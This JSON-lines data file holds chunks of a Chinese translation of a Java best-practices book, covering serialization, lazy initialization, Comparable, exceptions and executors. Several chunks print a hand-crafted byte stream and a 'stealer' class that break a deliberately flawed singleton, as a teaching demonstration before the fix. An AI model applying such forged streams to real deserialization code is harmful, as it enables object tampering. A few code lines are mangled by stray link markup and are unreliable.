    {"text": "首先编写一个“盗用者”类，它既有 readResolve 方法，又有实例字段，实例字段指向被序列化的单例的引用，“盗用者”就“潜伏”在其中。 在序列化流中，用“盗用者”的 readResolve 方法运行时，它的实例字段仍然引用部分反序列化（并且还没有被解析）的 Singletion。 “盗用者”的 readResolve 方法从它的实例字段中将引用复制到静态字段中，以便该引用可以在 readResolve 方法运行之后被访问到。"},
    {"text": "为了更具体的说明这一点，我们以如下这个单例模式为例： // Broken singleton - has nontransient object reference field! public class Elvis implements Serializable { public static final Elvis INSTANCE = new Elvis(); private Elvis () { } private String[] favoriteSongs = { \"Hound Dog\" , \"Heartbreak Hotel\" }; public void printFavorites () { System.out.println(Arrays.toString(favoriteSongs)); } private Object readResolve () { return INSTANCE; } } 如下“盗用者”类，是根据以上描述构造的： public class ElvisStealer implements Serializable { static Elvis impersonator; private static final long serialVersionUID = 0 ; private Elvis payload; private Object readResolve () { // Save a reference to the \"unresolved\" Elvis instance impersonator = payload; // Return object of correct type for favoriteSongs field return new String[] { \"A Fool Such as I\" }; } } 下面是一个不完整的程序，它反序列化一个手工制作的流，为那个有缺陷的单例产生两个截然不同的实例。"},
    {"text": "public class ElvisImpersonator { // Byte stream couldn't have come from a real Elvis instance! private static final byte [] serializedForm = { ( byte ) 0xac , ( byte ) 0xed , 0x00 , 0x05 , 0x73 , 0x72 , 0x00 , 0x05 , 0x45 , 0x6c , 0x76 , 0x69 , 0x73 , ( byte ) 0x84 , ( byte ) 0xe6 , ( byte ) 0x93 , 0x33 , ( byte ) 0xc3 , ( byte ) 0xf4 , ( byte ) 0x8b , 0x32 , 0x02 , 0x00 , 0x01 , 0x4c , 0x00 , 0x0d , 0x66 , 0x61 , 0x76 , 0x6f , 0x72 , 0x69 , 0x74 , 0x65 , 0x53 , 0x6f , 0x6e , 0x67 , 0x73 , 0x74 , 0x00 , 0x12 , 0x4c , 0x6a , 0x61 , 0x76 , 0x61 , 0x2f , 0x6c , 0x61 , 0x6e , 0x67 , 0x2f , 0x4f , 0x62 , 0x6a , 0x65 , 0x63 , 0x74 , 0x3b , 0x78 , 0x70 , 0x73 , 0x72 , 0x00 , 0x0c , 0x45 , 0x6c , 0x76 , 0x69 , 0x73 , 0x53 , 0x74 , 0x65 , 0x61 , 0x6c , 0x65 , 0x72 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x02 , 0x00 , 0x01 , 0x4c , 0x00 , 0x07 , 0x70 , 0x61 , 0x79 , 0x6c , 0x6f , 0x61 , 0x64 , 0x74 , 0x00 , 0x07 , 0x4c , 0x45 , 0x6c , 0x76 , 0x69 , 0x73 , 0x3b , 0x78 , 0x70 , 0x71 , 0x00 , 0x7e , 0x00 , 0x02 }; public static void main (String[] args) { // Initializes ElvisStealer.impersonator and returns // the real Elvis (which is Elvis.INSTANCE) Elvis elvis = (Elvis) deserialize(serializedForm); Elvis impersonator = ElvisStealer.impersonator; elvis.printFavorites(); impersonator.printFavorites(); } } 这个程序会产生如下的输出，最终证明可以创建两个截然不同的 Elvis 实例（包含两种不同的音乐品味）： [Hound Dog, Heartbreak Hotel] [A Fool Such as I] 通过将 favoriteSongs 字段声明为 transient ，可以修复这个问题，但是最好把 Elvis 做成一个单元素的枚举类型（详见第 3 条）。"},
    {"text": "如果将一个可序列化的实例受控的类编写为枚举，Java 就可以绝对保证出了所声明的常量之外，不会有其他实例，除非攻击者恶意的使用了享受特权的方法。"},
    {"text": "将 Elvis 写成枚举的例子如下所示： // Enum singleton - the preferred approach public enum Elvis { INSTANCE; private String[] favoriteSongs = { \"Hound Dog\" , \"Heartbreak Hotel\" }; public void printFavorites () { System.out.println(Arrays.toString(favoriteSongs)); } } 用 readResolve 进行实例控制并不过时。"},
    {"text": "如果它是受保护的或者是公开的，并且子类没有覆盖它，对序列化的子类进行反序列化，就会产生一个超类实例，这样可能会导致 ClassCastException 异常。"},
    {"text": "如果做不到，同时又需要一个即可序列化又可以实例受控的类，就必须提供一个 readResolve 方法，并确保该类的所有实例化字段都被基本类型，或者是 transient 的。"},
    {"text": "07. 消除过期的对象引用.md 07. 消除过期的对象引用.md 7. 消除过期的对象引用 如果你从使用手动内存管理的语言 (如 C 或 C++) 切换到像 Java 这样的带有垃圾收集机制的语言，那么作为程序员的工作就会变得容易多了，因为你的对象在使用完毕以后就自动回收了。"},
    {"text": "考虑以下简单的堆栈实现： // Can you spot the \"memory leak\"? public class Stack { private Object[] elements; private int size = 0 ; private static final int DEFAULT_INITIAL_CAPACITY = 16 ; public Stack () { elements = new Object[DEFAULT_INITIAL_CAPACITY]; } public void push (Object e) { ensureCapacity(); elements[size++] = e; } public Object pop () { if (size == 0 ) throw new EmptyStackException(); return elements[--size]; } /** * Ensure space for at least one more element, roughly * doubling the capacity each time the array needs to grow. */ private void ensureCapacity () { if (elements.length == size) elements = Arrays.copyOf(elements, 2 * size + 1 ); } } 这个程序没有什么明显的错误（但是对于泛型版本，请参阅条目 29）。"},
    {"text": "在极端的情况下，这样的内存泄漏可能会导致磁盘分页（ disk paging），甚至导致内存溢出（OutOfMemoryError）的失败，但是这样的故障相对较少。"},
    {"text": "如果无意中保留了对象引用，那么不仅这个对象排除在垃圾回收之外，而且该对象引用的任何对象也是如此。 即使只有少数对象引用被无意地保留下来，也可以阻止垃圾回收机制对许多对象的回收，这对性能产生很大的影响。"},
    {"text": "这类问题的解决方法很简单：一旦对象引用过期，将它们设置为 null。 在我们的 Stack 类的情景下，只要从栈中弹出，元素的引用就设置为过期。 pop 方法的修正版本如下所示： public Object pop () { if (size == 0 ) throw new EmptyStackException(); Object result = elements[--size]; elements[size] = null ; // Eliminate obsolete reference return result; } 取消过期引用的另一个好处是，如果它们随后被错误地引用，程序立即抛出 NullPointerException 异常，而不是悄悄地做继续做错误的事情。"},
    {"text": "如果你正好想实现了一个缓存：只要在缓存之外存在对某个项（entry）的键（key）引用，那么这项就是明确有关联的，就可以用 WeakHashMap 来表示缓存；"},
    {"text": "更常见的情况是，缓存项有用的生命周期不太明确，随着时间的推移一些项变得越来越没有价值。 在这种情况下，缓存应该偶尔清理掉已经废弃的项。"},
    {"text": "49. 检查参数有效性.md 49. 检查参数有效性.md 49. 检查参数有效性 本章（第 8 章）讨论了方法设计的几个方面：如何处理参数和返回值，如何设计方法签名以及如何记载方法文档。"},
    {"text": "这是一个典型的例子： /** * Returns a BigInteger whose value is (this mod m). This method * differs from the remainder method in that it always returns a * non-negative BigInteger. * * @param m the modulus, which must be positive * @return this mod m * @throws ArithmeticException if m is less than or equal to 0 */ public BigInteger mod (BigInteger m) { if (m.signum() <= 0 ) throw new ArithmeticException( \"Modulus <= 0: \" + m); ... // Do the computation } 请注意，文档注释没有说“如果 m 为 null，mod 抛出 NullPointerException ”，尽管该方法正是这样做的，这是调用 m.sgn() 的副产品。"},
    {"text": "该方法返回其输入的值，因此可以在使用值的同时执行空检查： // Inline use of Java's null-checking facility this .strategy = Objects.requireNonNull(strategy, \"strategy\" ); 你也可以忽略返回值，并使用 Objects.requireNonNull 作为满足需求的独立空值检查。"},
    {"text": "因此，非公共方法可以使用断言检查其参数，如下所示: // Private helper function for a recursive sort private static void sort ( long a[], int offset, int length) { assert a != null ; assert offset >= 0 && offset <= a.length; assert length >= 0 && length <= a.length - offset; ... // Do the computation } 本质上，这些断言声称断言条件将成立，无论其客户端如何使用封闭包。"},
    {"text": "与普通的有效性检查不同的是，除非使用 -ea (或者-enableassertions）标记传递给 java 命令来启用它们，否则它们不会产生任何效果，本质上也不会产生任何成本。"},
    {"text": "如果客户端传入 null，该方法将抛出 NullPointerException ，因为该方法具有显式检查 (调用 Objects.requireNonNull 方法)。 如果省略了该检查，则该方法将返回对新创建的 List 实例的引用，该实例将在客户端尝试使用它时立即抛出 NullPointerException 。"},
    {"text": "构造方法是这个原则的一个特例，你应该检查要存储起来供以后使用的参数的有效性。 检查构造方法参数的有效性对于防止构造对象违反类不变性（class invariants）非常重要。"},
    {"text": "36. 使用EnumSet替代位属性.md 36. 使用EnumSet替代位属性.md 36. 使用 EnumSet 替代位属性 如果枚举类型的元素主要用于集合中，一般来说使用 int 枚举模式（条目 34），下面将 2 的不同倍数赋值给每个常量： // Bit field enumeration constants - OBSOLETE! public class Text { public static final int STYLE_BOLD = 1 << 0 ; // 1 public static final int STYLE_ITALIC = 1 << 1 ; // 2 public static final int STYLE_UNDERLINE = 1 << 2 ; // 4 public static final int STYLE_STRIKETHROUGH = 1 << 3 ; // 8 // Parameter is bitwise OR of zero or more STYLE_ constants public void applyStyles ( int styles) { ... } } 这种表示方式允许你使用按位或（or）运算将几个常量合并到一个称为位属性（bit field）的集合中： text.applyStyles(STYLE_BOLD | STYLE_ITALIC); 位属性表示还允许你使用按位算术有效地执行集合运算，如并集和交集。 但是位属性具有 int 枚举常量等的所有缺点。 当打印为数字时，解释位属性比简单的 int 枚举常量更难理解。 没有简单的方法遍历所有由位属性表示的元素。 最后，必须预测在编写 API 时需要的最大位数，并相应地为位属性（通常为 int 或 long ）选择一种类型。 一旦你选择了一个类型，你就不能超过它的宽度（32 或 64 位）而不改变 API。 一些程序员使用枚举优于 int 常量，当他们需要传递常量集合时仍然使用位属性。 没有理由这样做，因为存在更好的选择。 java.util 包提供了 EnumSet 类来有效地表示从单个枚举类型中提取的值集合。 这个类实现了 Set 接口，提供了所有其他 Set 实现的丰富性，类型安全性和互操作性。 但是在内部，每个 EnumSet 都表示为一个位矢量（bit vector）。 如果底层的枚举类型有 64 个或更少的元素，并且大多数情况下，整个 EnumSet 用单个 long 表示，所以它的性能与位属性的性能相当。 批量操作（如 removeAll 和 retainAll ）是使用按位算术实现的，就像你为位属性手动操作一样。 但是完全避免了手动位混乱的丑陋和错误倾向： EnumSet 为你做了很大的努力。 下面是前一个使用枚举和枚举集合替代位属性的示例。 它更短，更清晰，更安全： // EnumSet - a modern replacement for bit fields public class Text { public enum Style { BOLD, ITALIC, UNDERLINE, STRIKETHROUGH } // Any Set could be passed in, but EnumSet is clearly best public void applyStyles (Set<Style> styles) { ... } } 这里是将 EnumSet 实例传递给 applyStyles 方法的客户端代码。 EnumSet 类提供了一组丰富的静态工厂，可以轻松创建集合，其中一个代码如下所示： text.applyStyles(EnumSet.of(Style.BOLD, Style.ITALIC)); 请注意， applyStyles 方法采用 Set<Style> 而不是 EnumSet<Style> 参数。 尽管所有客户端都可能会将 EnumSet 传递给该方法，但接受接口类型而不是实现类型通常是很好的做法（条目 64）。 这允许一个不寻常的客户端通过其他 Set 实现的可能性。 总之，仅仅因为枚举类型将被用于集合中，所以没有理由用位属性来表示它。 EnumSet 类将位属性的简洁性和性能与条目 34 中所述的枚举类型的所有优点相结合。 EnumSet 的一个真正缺点是，它不像 Java 9 那样创建一个不可变的 EnumSet ，但是在即将发布的版本中可能会得到补救。 同时，你可以用 Collections.unmodifiableSet 封装一个 EnumSet ，但是简洁性和性能会受到影响。"},
    {"text": "72. 优先使用标准的异常.md 72. 优先使用标准的异常.md 72. 优先使用标准的异常 专家级程序员与缺乏经验的程序员一个最主要的区别在于，专家追求并且通常也能够实现高度的代码重用。代码重用是值得提倡的，这是一条通用的规则，异常也不例外。Java 平台类库提供了一组基本的未受检异常，它们满足了绝大多数 API 的异常抛出需求。 重用标准的常有多个好处。其中最主要的好处是，它使 API 更易于学习和使用，因为它与程序员已经熟悉的习惯用法一致。第二个好处是，对于用到这些 API 程序而言，它们的可读性会更好，因为它们不会出现很多程序员不熟悉的异常。最后（也是最不重要的）一点是，异常类越少，意味着内存占用（footprint）就越小，装载这些类的时间开销也越少。 最经常被重用的异常类型是 IllegalArgumentException（详见第 49 条）。当调用者传递的参数值不合适的时候，往往就会抛出这个异常。比如，假设某一个参数代表了“某个动作的重复次数”，如果程序员给这个参数传递了一个负数，就会抛出这个异常。 另一个经常被重用的异常是 llegalStateException。如果因为接收对象的状态而使调用非法，通常就会抛出这个异常。例如，如果在某个对象被正确地初始化之前，调用者就企图使用这个对象，就会抛出这个异常。 可以这么说，所有错误的方法调用都可以被归结为非法参数或者非法状态，但是，还有一些其他的标准异常也被用于某些特定情况下的非法参数和非法状态。如果调用者在某个不允许 null 值的参数中传递了 null，习惯的做法就是抛出 NullPointerException 异常，而不是 IllegalArgumentException。同样地，如果调用者在表示序列下标的参数中传递了越界的值，应该抛出的就是 IndexOutOfBoundsException 异常，而不是 IllegalArgumentException。 另一个值得了解的通用异常是 ConcurrentModificationException。如果检测到一个专门设计用于单线程的对象，或者与外部同步机制配合使用的对象正在（或已经）被并发地修改，就应该抛出这个异常。这个异常顶多就是一个提示，因为不可能可靠地侦测到并发的修改。 最后一个值得注意的标准异常是 UnsupportedOperationException。如果对象不支持所请求的操作，就会抛出这个异常。很少用到它，因为绝大多数对象都会支持它们实现的所有方法。如果类没有实现由它们实现的接口所定义的一个或者多个可选操作（optional operation），它就可以使用这个异常。例如，对于只支持追加操作的 List 实现，如果有人试图从列表中删除元素，它就会抛出这个异常。 不要直接重用 Exception、RuntimeException、Throwable 或者 Error。 对待这些类要像对待抽象类一样。你无法可靠地测试这些异常，因为它们是一个方法可能抛出的其他异常的超类。 下表概括了最常见的可重用异常： 异常 使用场合 IllegalArgumentException 非 null 的参数值不正确 IllegalStateException 不适合方法调用的对象状态 NullPointerException 在禁止使用 null 的情况下参数值为 null IndexOutOfBoundsExecption 下标参数值越界 ConcurrentModificationException 在禁止并发修改的情况下，检测到对象的并发修改 UnsupportedOperationException 对象不支持用户请求的方法 然这些都是 Java 平台类库中迄今为止最常被重用的异常，但是，在条件许可的情况下，其他的异常也可以被重用。例如，如果要实现诸如复数或者有理数之类的算术对象，也可以重用 ArithmeticException 和 NumberFormatException。如果某个异常能够满足你的需要，就不要犹豫，使用就是，不过一定要确保抛出异常的条件与该异常的文档中描述的条件一致。这种重用必须建立在语义的基础上，而不是建立在名称的基础之上。而且，如果希望稍微增加更多的失败一捕获（failure-capture）信息（详见第 75 条），可以放心地子类化标准异常，但要记住异常是可序列化的（详见第 12 章）。这也正是“如果没有非常正当的理由，千万不要自己编写异常类”的原因。 选择重用哪一种异常并非总是那么精确，因为上表中的“使用场合”并不是相互排斥的比如，以表示一副纸牌的对象为例。假设有一个处理发牌操作的方法，它的参数是发一手牌的纸牌张数。假设调用者在这个参数中传递的值大于整副纸牌的剩余张数。这种情形既可以被解释为 IllegalArgumentException( handSize 参数的值太大），也可以被解释为 IllegalStateException（纸牌对象包含的纸牌太少）。在这种情况下， 如果没有可用的参数值，就抛出 llegalStateException，否则就抛出工 llegalArgumentException。"},
    {"text": "83. 明智审慎的使用延迟初始化.md 83. 明智审慎的使用延迟初始化.md 83. 明智审慎的使用延迟初始化 延迟初始化是延迟字段的初始化，直到需要它的值。"},
    {"text": "根据这些字段中最终需要初始化的部分、初始化它们的开销以及初始化后访问每个字段的频率，延迟初始化实际上会损害性能（就像许多「优化」一样）。"},
    {"text": "注意 final 修饰符的使用（详见第 17 条）： 如果您使用延迟初始化来取代初始化的循环（circularity），请使用同步访问器 ，因为它是最简单、最清晰的替代方法： // Lazy initialization of instance field - synchronized accessor private FieldType field; private synchronized FieldType getField () { if (field == null ) field = computeFieldValue(); return field; } 这两种习惯用法（使用同步访问器进行常规初始化和延迟初始化）在应用于静态字段时都没有改变，只是在字段和访问器声明中添加了 static 修饰符。"},
    {"text": "它是这样的： // Lazy initialization holder class idiom for static fields private static class FieldHolder { static final FieldType field = computeFieldValue(); } private static FieldType getField () { return FieldHolder.field; } 第一次调用 getField 时，它执行 FieldHolder.field，导致初始化 FieldHolder 类。"},
    {"text": "下面是这个模式的示例： // Double-check idiom for lazy initialization of instance fields private volatile FieldType field; private FieldType getField () { FieldType result = field; if (result == null ) { // First check (no locking) synchronized ( this ) { if (field == null ) // Second check (with locking) field = result = computeFieldValue(); } } return result; } 这段代码可能看起来有点复杂。"},
    {"text": "注意，field 仍然声明为 volatile： // Single-check idiom - can cause repeated initialization! private volatile FieldType field; private FieldType getField () { FieldType result = field; if (result == null ) field = result = computeFieldValue(); return result; } 本条目中讨论的所有初始化技术都适用于基本字段和对象引用字段。"},
    {"text": "如果您不关心每个线程是否都会重新计算字段的值，并且字段的类型是 long 或 double 之外的基本类型，那么您可以选择在单检查模式中从字段声明中删除 volatile 修饰符。"},
    {"text": "14. 考虑实现Comparable接口.md 14. 考虑实现Comparable接口.md 14. 考虑实现 Comparable 接口 与本章讨论的其他方法不同， compareTo 方法并没有在 Object 类中声明。"},
    {"text": "对实现 Comparable 接口的对象数组排序非常简单，如下所示： Arrays.sort(a); 它很容易查找，计算极端数值，以及维护 Comparable 对象集合的自动排序。 例如，在下面的代码中，依赖于 String 类实现了 Comparable 接口，去除命令行参数输入重复的字符串，并按照字母顺序排序： public class WordList { public static void main (String[] args) { Set<String> s = new TreeSet<>(); Collections.addAll(s, args); System.out.println(s); } } 通过实现 Comparable 接口，可以让你的类与所有依赖此接口的通用算法和集合实现进行互操作。"},
    {"text": "如果你正在编写具有明显自然顺序（如字母顺序，数字顺序或时间顺序）的值类，则应该实现 Comparable 接口： public interface Comparable < T > { int compareTo (T t) ; } compareTo 方法的通用约定与 equals 相似： 将此对象与指定的对象按照排序进行比较。"},
    {"text": "） 实现类还必须确保该关系是可传递的： (x. compareTo(y) > 0 && y.compareTo(z) > 0) 意味着 x.compareTo(z) > 0 。 最后，对于所有的 z，实现类必须确保 x.compareTo(y) == 0 意味着 sgn(x.compareTo(z)) == sgn(y.compareTo(z)) 。 强烈推荐 x.compareTo(y) == 0) == (x.equals(y)) ，但不是必需的。"},
    {"text": "与 equals 方法不同， equals 方法在所有对象上施加了全局等价关系， compareTo 不必跨越不同类型的对象：当遇到不同类型的对象时， compareTo 被允许抛出 ClassCastException 异常。"},
    {"text": "第一条规定，如果反转两个对象引用之间的比较方向，则会发生预期的事情：如果第一个对象小于第二个对象，那么第二个对象必须大于第一个; 如果第一个对象等于第二个，那么第二个对象必须等于第一个; 如果第一个对象大于第二个，那么第二个必须小于第一个。 第二项约定说，如果一个对象大于第二个对象，而第二个对象大于第三个对象，则第一个对象必须大于第三个对象。"},
    {"text": "因此，同样需要注意的是：除非你愿意放弃面向对象抽象（条目 10）的好处，否则无法在保留 compareTo 约定的情况下使用新的值组件继承可实例化的类。"},
    {"text": "compareTo 约定的最后一段是一个强烈的建议，而不是一个真正的要求，只是声明 compareTo 方法施加的相等性测试，通常应该返回与 equals 方法相同的结果。"},
    {"text": "其 compareTo 方法施加与 equals 不一致顺序关系的类仍然有效，但包含该类元素的有序集合可能不服从相应集合接口（Collection，Set 或 Map）的一般约定。 这是因为这些接口的通用约定是用 equals 方法定义的，但是排序后的集合使用 compareTo 强加的相等性测试来代替 equals 。"},
    {"text": "如果你创建一个空的 HashSet 实例，然后添加 new BigDecimal(\"1.0\") 和 new BigDecimal(\"1.00\") ，则该集合将包含两个元素，因为与 equals 方法进行比较时，添加到集合的两个 BigDecimal 实例是不相等的。 但是，如果使用 TreeSet 而不是 HashSet 执行相同的过程，则该集合将只包含一个元素，因为使用 compareTo 方法进行比较时，两个 BigDecimal 实例是相等的。"},
    {"text": "可以编写自己的比较器或使用现有的比较器，如在条目 10 中的 CaseInsensitiveString 类的 compareTo 方法中： // Single-field Comparable with object reference field public final class CaseInsensitiveString implements Comparable < CaseInsensitiveString > { public int compareTo (CaseInsensitiveString cis) { return String.CASE_INSENSITIVE_[ORDER.compare(s](http: //ORDER.compare(s), cis.s); } ... // Remainder omitted } 请注意， CaseInsensitiveString 类实现了 Comparable<CaseInsensitiveString> 接口。"},
    {"text": "在本书第二版中，曾经推荐如果比较整型基本类型的属性，使用关系运算符“<” 和 “>”，对于浮点类型基本类型的属性，使用 Double.compare 和 Float.compare 静态方法。"},
    {"text": "以下是条目 11 中 PhoneNumber 类的 compareTo 方法，演示了这种方法： // Multiple-field `Comparable` with primitive fields public int compareTo (PhoneNumber pn) { int result = [Short.compare(areaCode](http: //Short.compare(areaCode), pn.areaCode); if (result == 0 ) { result = [Short.compare(prefix](http: //Short.compare(prefix), pn.prefix); if (result == 0 ) result = [Short.compare(lineNum](http: //Short.compare(lineNum), pn.lineNum); } return result; } 在 Java 8 中 Comparator 接口提供了一系列比较器方法，可以使比较器流畅地构建。"},
    {"text": "以下是 PhoneNumber 的 compareTo 方法的使用方法： // Comparable with comparator construction methods private static final Comparator<PhoneNumber> COMPARATOR = comparingInt((PhoneNumber pn) -> pn.areaCode) .thenComparingInt(pn -> pn.prefix) .thenComparingInt(pn -> pn.lineNum); public int compareTo (PhoneNumber pn) { return COMPARATOR.compare( this , pn); } 此实现在类初始化时构建比较器，使用两个比较器构建方法。"},
    {"text": "它是一个静态方法，它使用一个键提取器函数式接口（ key extractor function）作为参数，将对象引用映射为 int 类型的键，并返回一个根据该键排序的实例的比较器。"},
    {"text": "在前面的示例中， comparingInt 方法使用 lambda 表达式，它从 PhoneNumber 中提取区域代码，并返回一个 Comparator<PhoneNumber> ，根据它们的区域代码来排序电话号码。"},
    {"text": "它是 Comparator 上的一个实例方法，接受一个 int 类型键提取器函数式接口（ key extractor function）作为参数，并返回一个比较器，该比较器首先应用原始比较器，然后使用提取的键来打破连接。"},
    {"text": "请注意，我们不必指定传递给 thenComparingInt 的任何一个调用的键提取器函数式接口的参数类型：Java 的类型推断足够聪明，可以自己推断出参数的类型。"},
    {"text": "对于 long 和 double 基本类型，也有对应的类似于 comparingInt 和 thenComparingInt 的方法，int 版本的方法也可以应用于取值范围小于 int 的类型上，如 short 类型，如 PhoneNumber 实例中所示。"},
    {"text": "第一个重载只需要一个比较器，并使用它来提供一个二级排序。 第二次重载只需要一个键提取器函数式接口，并使用键的自然顺序作为二级排序。"},
    {"text": "这是一个例子： // BROKEN difference-based comparator - violates transitivity! static Comparator<Object> hashCodeOrder = new Comparator<>() { public int compare (Object o1, Object o2) { return o1.hashCode() - o2.hashCode(); } }; 不要使用这种技术！"},
    {"text": "使用静态 compare 方法： // Comparator based on static compare method static Comparator<Object> hashCodeOrder = new Comparator<>() { public int compare (Object o1, Object o2) { return Integer.compare(o1.hashCode(), o2.hashCode()); } }; 或者使用 Comparator 的构建方法： // Comparator based on Comparator construction method static Comparator<Object> hashCodeOrder = Comparator.comparingInt(o -> o.hashCode()); 总而言之，无论何时实现具有合理排序的值类，你都应该让该类实现 Comparable 接口，以便在基于比较的集合中轻松对其实例进行排序，搜索和使用。"},
    {"text": "04. 使用私有构造方法执行非实例化.md 04. 使用私有构造方法执行非实例化.md 4. 使用私有构造方法执行非实例化 偶尔你会想写一个类，它只是一组静态方法和静态属性。 这样的类获得了不好的名声，因为有些人滥用这些类而避免以面向对象方式思考，但是它们确实有着特殊的用途。 它们可以用来按照 java.lang.Math 或 java.util.Arrays 的方式，在基本类型的数值或数组上组织相关的方法。 它们也可以用于将静态方法（包括工厂（条目 1））分组，用于实现某个接口的对象，其方式为 java.util.Collections 。 （从 Java 8 开始，你也可以将这些方法放在接口中，假如它是你自己修改的。）最后，这样的类可以用于在 final 类上对方法进行分组，因为不能将它们放在子类中。 这样的实用类（utility classes）不是设计用来被实例化的：一个实例是没有意义的。然而，在没有显式构造方法的情况下，编译器提供了一个公共的、无参的默认构造方法。对于用户来说，该构造方法与其他构造方法没有什么区别。在已发布的 API 中经常看到无意识的被实例的类。 试图通过创建抽象类来强制执行非实例化是行不通的。 该类可以被子类化，子类可以被实例化。此外，它误导用户认为该类是为继承而设计的 (条目 19)。不过，有一个简单的方法来确保非实例化。只有当类不包含显式构造方法时，才会生成一个默认构造方法， 因此可以通过包含一个私有构造方法来实现类的非实例化： // Noninstantiable utility class public class UtilityClass { // Suppress default constructor for noninstantiability private UtilityClass () { throw new AssertionError(); } ... // Remainder omitted } 因为显式构造方法是私有的，所以在类之外是不可访问的。 AssertionError 异常不是严格要求的，但是它提供了一种保证，以防在类中意外地调用构造方法。它保证类在任何情况下都不会被实例化。这个习惯用法有点违反直觉，好像构造方法就是设计成不能调用的一样。因此，如前面所示，添加注释是种明智的做法。 这种习惯有一个副作用，阻止了类的子类化。所有的构造方法都必须显式或隐式地调用父类构造方法，而子类则没有可访问的父类构造方法来调用。"},
    {"text": "90. 考虑用序列化代理代替序列化实例.md 90. 考虑用序列化代理代替序列化实例.md 90. 考虑用序列化代理代替序列化实例 正如 85 条和第 86 条提到的，以及本章一直在讨论的，决定实现 Serializable 接口，会增加出错和出现安全问题的可能性，因为它允许利用语言之外的机制来创建实例，而不是使用普通的构造器。"},
    {"text": "// Serialization proxy for Period class private static class SerializationProxy implements Serializable { private final Date start; private final Date end; SerializationProxy(Period p) { this .start = p.start; this .end = p.end; } private static final long serialVersionUID = 234098243823485285L ; // Any number will do (Item 87) } 接下来，将下面的 writeReplace 方法添加到外围类中。"},
    {"text": "// writeReplace method for the serialization proxy pattern private Object writeReplace () { return new SerializationProxy( this ); } 这个方法的存在就是导致系统产生一个 SerializationProxy 实例，代替外围类的实例。 换句话说 writeReplace 方法在序列化之前，将外围类的实例转变成了它的序列化代理。 有了 writeReplace 方法之后，序列化系统永远不会产生外围类的序列化实例，但是攻击者有可能伪造企图违反该类约束条件的示例。"},
    {"text": "// readObject method for the serialization proxy pattern private void readObject (ObjectInputStream stream) throws InvalidObjectException { throw new InvalidObjectException( \"Proxy required\" ); } 最后在 SerializationProxy 类中提供一个 readResolve 方法，他返回一个逻辑上等价的外围类的实例。"},
    {"text": "这个 readResolve 方法仅仅利用它的公有 API 创建外围类的一个实例，这正是该模式的魅力所在它极大的消除了序列化机制中语言之外的特征，因为反序列化实例是利用与任何其他实例相同的构造器、静态工厂和方法而创建的。"},
    {"text": "以下是上述的 Period.SerializationProxy 的 readResolve 方法： // readResolve method for Period.SerializationProxy private Object readResolve () { return new Period(start, end); // Uses public constructor } 正如保护性拷贝方法一样（详见 88 条），序列化代理方式可以阻止伪字节流的攻击（详见 88 条）以及内部字段的盗用攻击（详见 88 条）。"},
    {"text": "实际发生的情况也正是如此，因为 EnumSet 使用序列化代理模式如果你感兴趣，可以看看如下的 EnumSet 序列化代理，它实际上就是这么简单： // EnumSet's serialization proxy private static class SerializationProxy < E extends Enum < E >> implements Serializable { private static final long serialVersionUID = 362491234563181265L ; // The element type of this enum set. private final Class<E> elementType; // The elements contained in this enum set. private final Enum<?>[] elements; SerializationProxy(EnumSet<E> set) { elementType = set.elementType; elements = set.toArray( new Enum<?>[ 0 ]); } private Object readResolve () { EnumSet<E> result = EnumSet.noneOf(elementType); for (Enum<?> e : elements) result.add((E) e); return result; } } 序列化代理模式有两个局限性。"},
    {"text": "它也不能与对象图中包含循环的某些类兼容：如果你企图从一个对象的序列化代理的 readResovle 方法内部调用这个对象的方法，就会得到一个 ClassCastException 异常，因为你还没有这个对象，只有它的序列化代理。"},
    {"text": "80. executor 、task 和 stream 优先于线程.md 80. executor 、task 和 stream 优先于线程.md 80. executor 、task 和 stream 优先于线程 本书第 1 版中阐述了简单的工作队列（ work queue）[BlochOl ，详见第 49 条］的代码。这个类允许客户端按队列等待由后台线程异步处理的工作项目。当不再需要这个工作队列时，客户端可以调用一个方法，让后台线程在完成了已经在队列中的所有工作之后，优雅地终止自己。这个实现几乎就像一件玩具，但即使如此，它还是需要一整页精细的代码，一不小心，字就容易出现安全问题或者导致活性失败。幸运的是，你再也不需要编写这样的代码了。 到本书第二版出版的时候， Java 平台中已经增加了 java.util.concurrent 。这个字包中包含了一个 Executor Framework 它是一个很灵活的基于接口的任务执行工具。它创建字了一个在各方面都比本书第一版更好的工作队列，却只需要这一行代码： ExecutorService exec = Executors.newSingleThreadExecutor(); 下面是为执行而提交一个 runnable 的方法： exec.execute(runnable); 下面是告诉 executor 如何优雅地终止（如果你没有这么做，虚拟机可能不会退出） ： exec.shutdown(); 你可以利用 executor service 完成更多的工作。例如，可以等待完成一项特殊的任务（就如第 79 条中的 get 方法一样），你可以等待一个任务集合中的任何任务或者所有任务完成（利用 invokeAny 或者 invokeAll 方法），可以等待 executor service 优雅地完成终止（利用 awaitTermination 方法），可以在任务完成时逐个地获取这些任务的结果（利用 ExecutorCompletionService ），可以调度在某个特殊的时间段定时运行或者阶段性地运行的任务（利用 ScheduledThreadPoolExecutor ），等等。 如果想让不止一个线程来处理来自这个队列的请求，只要调用一个不同的静态工厂，这个工厂创建了一种不同的 executor service ，称作线程池（ thread pool ） 。你可以用固定或者可变数目的线程创建一个线程池。java.util.concurrent.Executors 类包含了静态工厂，能为你提供所需的大多数以 excutor 。然而，如果你想来点特别的，可以直接使用 ThreadPoolExecutor 类。这个类允许你控制线程池操作的几乎每个方面。 为特殊的应用程序选择 executor service 是很有技巧的。如果编写的是小程序，或者是轻量负载的服务器，使用 Executors.newCachedThreadPool 通常是个不错的选择，因为它不需要配置，并且一般情况下能够正确地完成工作。但是对于大负载的服务器来说，缓存的线程池就不是很好的选择了！在缓存的线程池中，被提交的任务没有排成队列，而是直接交给线程执行。如果没有线程可用，就创建一个新的线程。如果服务器负载得太重，以致它所有的 CPU 都完全被占用了，当有更多的任务时，就会创建更多的线程，这样只会使情况变得更糟。因此，在大负载的产品服务器中，最好使用 Executors.newFixedThreadPool ，它为你提供了一个包含固定线程数目的线程池，或者为了最大限度地控制它，就直接使用 ThreadPoolExecutor 类。 不仅应该尽量不要编写自己的工作队列，而且还应该尽量不直接使用线程。当直接使用线程时， Thread 是既充当工作单元，又是执行机制。在 Executor Framework 中，工作单元和执行机制是分开的。现在关键的抽象是工作单元，称作任务（ task ） 。任务有两种：Runnable 及其近亲 Callable （它与 Runnable 类似，但它会返回值，并且能够抛出任意的异常） 。执行任务的通用机制是 executor service 。如果你从任务的角度来看问题，并让一个 executor service 替你执行任务，在选择适当的执行策略方面就获得了极大的灵活性。从本质上讲， Executor Framework 所做的工作是执行， Collections 